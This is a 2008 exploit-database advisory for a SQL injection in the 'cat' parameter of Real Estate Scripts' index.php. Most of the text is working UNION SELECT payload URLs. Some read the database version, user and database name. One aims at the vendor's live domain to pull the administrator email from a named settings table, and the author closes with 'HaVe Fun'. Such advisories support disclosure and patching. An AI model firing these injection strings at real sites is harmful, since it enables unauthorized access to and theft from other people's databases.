Real Estate Scripts 2008 - 'cat' SQL Injection

EDB-ID:

6736


Author:

Hakxer

Type:

webapps


Platform:

PHP

Date:

2008-10-12


###############################################################################################
# Author : EgY Coders TM < Hakxer>
# Home : Www.educ-up.com
# Type Gap : SQL INJECTION
# script : Real-Estate-Scripts [see script] http://www.real-estate-scripts.com/demo.html
# Greetz : Allah , Egyptian x Hacker , Soufiane , Sinaritx , SQL_inj4ct0r , Stealth , Kof2002 ,Bright D@rk
#################################################################################################
####### [+] Bug in : index.php 
### POC
      http://www.site.com/real-estate/index.php?cat=-5+UNION+SELECT+@@version,2,3/*
	  http://www.site.com/real-estate/index.php?cat=-5+UNION+SELECT+user(),2,3/*
### Exploit
         [+] Get User 
# [+] http://www.real-estate-scripts.com/real-estate/index.php?cat=-5+UNION+SELECT+admin_email,2,3+from+ovi_anuntgratis.class_settings/*
         [+] Get Database Name
# [+] http://www.real-estate-scripts.com/real-estate/index.php?cat=-5+UNION+SELECT+database(),2,3/*

# [+] HaVe Fun .. ;


###############################################################################

-------------------------------- The End of Gap -----------------------------------

## Contact : aq5@windowslive.com
### Muslim Hacker .. I love you Mohammed Rasull Allah 
######################################################

# milw0rm.com [2008-10-12]